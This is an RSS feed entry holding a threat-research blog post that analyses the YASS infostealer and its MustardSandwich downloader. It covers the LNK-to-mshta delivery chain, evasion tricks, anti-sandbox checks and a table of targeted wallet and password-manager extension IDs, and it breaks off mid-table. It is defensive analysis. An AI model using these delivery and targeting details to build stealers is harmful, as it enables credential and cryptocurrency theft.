<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Stealer</title><link>https://research.intezer.com/tags/stealer/</link><description>Recent content in Stealer on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Tue, 10 Sep 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/stealer/index.xml" rel="self" type="application/rss+xml"/><item><title>There's Something About CryptBot: Yet Another Silly Stealer (YASS)</title><link>https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/</link><pubDate>Tue, 10 Sep 2024 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/</guid><description>
&lt;p&gt;Recently Intezer was investigating a file that we came across during
&lt;a href="https://intezer.com/blog/incident-response/how-intezer-works/?utm_campaign=research-blog&amp;amp;utm_content=cryptbot-yet-another-silly-stealer-yass&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;alert triage&lt;/a&gt;.
This particular file piqued our interest due to the interesting delivery chain,
and the even more interesting payload, an intricate infostealer.&lt;/p&gt;
&lt;p&gt;Intezer has amazing
&lt;a href="https://intezer.com/blog/malware-analysis/code-strings-and-whats-in-between/?utm_campaign=research-blog&amp;amp;utm_content=cryptbot-yet-another-silly-stealer-yass&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;code genetic analysis technology&lt;/a&gt;,
showing us overlaps of code reuse between different files, malicious or not. We
noticed that the payload &lt;em&gt;did not have significant code overlap&lt;/em&gt; with other
infostealers. Upon researching the threat and pivoting to similar samples, we
understand that other vendors are labeling this as &lt;strong&gt;CryptBot&lt;/strong&gt;. While the
similarities are undeniable, the differences in code are significant enough
that this version warrants its own documentation, and even its own name, &lt;strong&gt;Yet
Another Silly Stealer&lt;/strong&gt; (YASS). In this blog, we&amp;rsquo;ll highlight both the
parallels and the distinctions between these two infostealers, underscoring why
this variant demands attention. This blog will give a technical analysis of the
delivery chain, as well as an analysis of the &lt;strong&gt;YASS payload&lt;/strong&gt;. The stealer was
delivered using a multi-stage downloader that we are calling
&lt;strong&gt;MustardSandwich&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The cybersecurity landscape is constantly witnessing a wave in the creation of
new and updated infostealers, with malware developers continuously innovating
to bypass defenses. While it may feel like a never-ending cat-and-mouse game,
cataloging as many of these stealers as possible remains crucial. By doing so,
we can better understand emerging tactics, enhance threat detection, and
ultimately protect our sensitive data. Every new variant cataloged strengthens
our defenses and helps to anticipate future threats, making the effort vital
despite the relentless pace of cybercriminal innovation.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig1.png" title="Attack Flow of new YASS infostealer, with some similarities and notable difference from Cryptbot" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Attack Flow of new YASS infostealer, with some similarities and notable difference from Cryptbot&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Mustard Sandwich Downloader&lt;span class="hx:absolute hx:-mt-20" id="mustard-sandwich-downloader"&gt;&lt;/span&gt;
&lt;a href="#mustard-sandwich-downloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the cases where we have identified the MustardSandwich downloader, it has
been executed using a
&lt;a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943"target="_blank" rel="noopener"&gt;Windows shell link&lt;/a&gt;
(LNK) file. The LNK file uses the Windows system binary &lt;code&gt;forfiles.exe&lt;/code&gt; to
invoke &lt;code&gt;PowerShell&lt;/code&gt; which calls &lt;code&gt;mshta&lt;/code&gt;. An example of the command line
arguments for one of the LNK files is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig2.png" title="LNK File Arguments" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;LNK File Arguments&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The LNK files are used to execute a Microsoft HTML application (HTA) using
&lt;code&gt;mshta&lt;/code&gt;. The malware abuses the looseness of the &lt;code&gt;mshta&lt;/code&gt; parser to hide the
HTML within &amp;ldquo;junk&amp;rdquo; data. The HTML document has been broken up into multiple
parts and &amp;ldquo;sandwiched&amp;rdquo; between multiple copies of the same Windows binary. The
screenshot below shows the output from binwalk of one of the files with
annotations showing where the different parts of the document are located.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig3.png" title="Binwalk output of the EXE containing HTA" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Binwalk output of the EXE containing HTA&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This technique provides some anti-analysis by automated solutions because most
solutions will identify the file as a Windows executable (PE). When the file is
executed in a sandbox, nothing malicious will happen. To invoke the malicious
code, &lt;code&gt;mshta&lt;/code&gt; must be used.&lt;/p&gt;
&lt;p&gt;The downloader consists of two JScript stages and two PowerShell stages. The
first PowerShell script is executed via an ActiveXObject, as seen in the
screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig4.png" title="JScript Payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;JScript Payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The first PowerShell script decrypts the final stages. The stage has been
encrypted using AES, and the key varies between attacks. An example of the
stages is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig5.png" title="PowerShell Payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PowerShell Payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The final stage is responsible for downloading the decoy and the malware to run
on the machine. We have observed two types of this stage, one that downloads
multiple payloads and another that only downloads one payload.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig6.png" title="Decoy Video" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoy Video&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The screenshot below shows a cleaned-up version of the &amp;ldquo;main&amp;rdquo; script function.
First, it checks if the lure exists on disk, if not, it&amp;rsquo;s downloaded and
displayed to the user. This version also appears to be tracking installations
by sending a simple web request to a separate URL. After the lure has been
displayed to the user, the two payloads are downloaded and executed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig7.png" title="PowerShell Downloading Additional Payloads" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PowerShell Downloading Additional Payloads&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The URLs hosting the payloads have been obfuscated with a simple logic. Each
character in the string has been converted to an integer and a constant has
been added to each one. The function shown below is used to reverse the
obfuscation.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig8.png" title="Decoding Function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoding Function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The payloads are downloaded as ZIP archives. The stage uses the function shown
below to extract the content and execute the payload. It&amp;rsquo;s worth noting that
the function executes the first file from an alphabetic sort of the content of
the archive.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig9.png" title="Running First File in Archive" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Running First File in Archive&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The simpler version of this stage, from a related chain, is shown below. It
doesn&amp;rsquo;t expect the payloads to be stored in ZIP files, nor have the install
tracking functionality.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig10.png" title="Simplified Version of Related Chain" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Simplified Version of Related Chain&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IDATLOADER&lt;span class="hx:absolute hx:-mt-20" id="idatloader"&gt;&lt;/span&gt;
&lt;a href="#idatloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Inside the second downloaded ZIP file (&lt;code&gt;L2.zip&lt;/code&gt;) is a single executable file.
This is a Delphi file
(&lt;code&gt;4810333bf96fb808604f3657118c734c3dd8ee4baa3e6ffe8da548ae0c8e15d3&lt;/code&gt;) that
contains a lot of boiler plate code for Delphi visual components.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig11.png" title="IDATLOADER File" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDATLOADER File&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The code for starting IDATLoader is hidden amongst all the boiler plate code.
IDATLOADER will inject shellcode into &lt;code&gt;pla.dll&lt;/code&gt; that will then extract a PNG
resource from the Delphi file and move it into the Temp folder.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig13.webp" title="PNG Containing Payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PNG Containing Payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;From this PNG, the payload is extracted, a stealer.
(&lt;code&gt;7ac46eb84f4b6d25601f23d2c30b7e80b6f3b2d82d3240234fc50af75290a29f&lt;/code&gt;)&lt;/p&gt;
&lt;h2&gt;Technical Analysis of Infostealer&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-infostealer"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-infostealer" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Initialisation&lt;span class="hx:absolute hx:-mt-20" id="initialisation"&gt;&lt;/span&gt;
&lt;a href="#initialisation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS starts its operations by performing a sleep. Then the stealer will decrypt
a block of strings that are used as global variables for the stealer&amp;rsquo;s
functionality. There are two blocks of RC4 encrypted strings. A small key is
hardcoded via stack strings in the binary for decryption. The two blocks of
strings are the same strings but one is a wide char and the other is normal
ASCII.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig14.png" title="Decrypted Strings" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decrypted Strings&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This block of strings contains important information such as C2 information,
staging folders, persistence strings and functions to be dynamically resolved.
The full list of decoded strings are located
&lt;a href="https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/12516114c9d4b99f4a29704c75969f4a"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next the stealer will fetch two environment variables.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;LocalAppData: Gives appdata/local path
UserProfile: Gives path to user home&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;These variables are concatenated with two strings, in order to check for their
presence.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:\Users\[username]\AppData\Local\Gabatepi
C:\Users\admin\Desktop\Invoice.docx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The malware will exit if either exists at this point. The first path is the
location of a folder, seemingly used as a mutex to ensure only one running
instance. The latter appears to be an anti sandbox check.&lt;/p&gt;
&lt;p&gt;If the staging folder does not exist, the stealer will not exit, and will
create this directory.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig15.png" title="Folder used as Mutex" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Folder used as Mutex&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Before stealing activities begin the stealer will generate a unique user ID,
ZIP it, and send it to the C2.&lt;/p&gt;
&lt;h3&gt;Location of Sensitive Data&lt;span class="hx:absolute hx:-mt-20" id="location-of-sensitive-data"&gt;&lt;/span&gt;
&lt;a href="#location-of-sensitive-data" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS starts its stealing activities by locating directories where sensitive
data is commonly held. It starts a recursive search from the user profile path:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:Users[username]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The stealer will start to iterate over each file. The file path is compared
against a very large hard coded list of directories. The directories cover many
categories, including programming, gaming, messaging, cloud storage, Office
products, torrent, utilities, and antivirus.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig16.png" title="Snippet of Targeted Directories" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Snippet of Targeted Directories&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;If there is a directory match. The stealer will make a check for the folder:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Local Extension Settings&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If this is the current folder. The stealer will identify folders related to
targeted Opera and Google Chrome Extensions.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig17.png" title="Check for Browser Extensions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Check for Browser Extensions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Targeted Extensions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Extension&lt;/th&gt;
&lt;th style="text-align: left"&gt;Product&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nkbihfbeogaeaoehlefnkodbefgpgknn&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ejbalbakoplchlghecdalmeeeajnimhm&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ljfoeinjpaedjfecbmggjgodbgkmjkjk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nkbihfbeogaeaoehlefnkodbefgpgknn&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MetaMask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bfnaelmomeimhlpmgjnjophhpkkoljpa&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Phantom&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ibnejdfjmmkpcnlpebklmnkoeoihofec&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;TronLink&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fhbohimaelbohpjbbldcngcnapndodjp&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;BNB Chain Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;jnlgamecbpmbajjfhmmmlhejkemejdma&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Braavos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dlcobpjiigpikoobohmabehhmhfoodbb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Argent X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fnjhmkhhmkbjkkabndcnnogagogbneec&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Ronin Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;afbcbjpbpfadlkmhmclhkeeodmamcflc&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Math Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fhilaheimglignddkjgofkcbgekhenbh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Oxygen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ffnbelfdoeiohenkjibnmadjiehjhajb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Yoroi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mopnmbcafieddcagagdcbnhejhlodfdd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Polkadot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bhhhlbepdkbapadjdnnojkbgioiodbic&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Solflare Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;opcgpfmipidbgpenhmajoajpbobppdil&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Sui Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nngceckbapebfimnlniiiahkandclblb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Bitwarden&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hdokiejnpimakedhajhdlcegeplioahd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;LastPass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kkpllkodjeloidieedojogacfhpaihoh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Enkrypt Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;acmacodkjbdgmoleebolmdjonilkdbch&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Rabby Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;gaedmjdfmmahhbjefcbgaolhhanlaolb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Authy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hifafgmccdpekplomjjkcfgodnhcellj&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Crypto.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;klnaejjgbibmhlephnhpmaofohgkpgkd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZilPay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aholpfdialjgjfhomihkjbmgjidlcdno&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Exodus Web3 Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;egjidjbpglichdcondbcbdnbeeppgdph&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Trust Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;efbglgofoippbgcjepnhiblaibcnclgk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Martian&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mcohilncbfahbmgdjkbpemcciiolgcge&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;OKX Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bhghoamapcdpbohphigoooaddinpkbai&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Authenticator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aflkmfhebedbjioipglgcbcmnbpgliof&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Backpack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;idnnbdplmphpflfnlkomgpfbpcgelopg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Xverse Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ppbibelpcjmhbdihakflkdcoccbgbkpo&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;UniSat Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;omaabbefbmiijedngplfjmnooppbclkk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Tonkeeper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;lgmpcpglpngdoalbgeoldeajfclnhafa&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafePal Extension Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dmkamcknogkgcdfhhbddcghachkejeap&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Keplr&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ookjlbkiijinhpmnjffcofjonbfbgaoc&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Temple Tezos Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nlbmnnijcnlegkjjpcfjclmcfggfefdm&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MyEtherWallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cjelfplplebdjjenllpjcblmjkfcffne&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Jaxx Liberty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hpglfhgfnhbgpjdenjgmdgoeiappafln&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Guarda&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fhmfendgdocmcbmfikdcogofphimnkno&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Sollet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
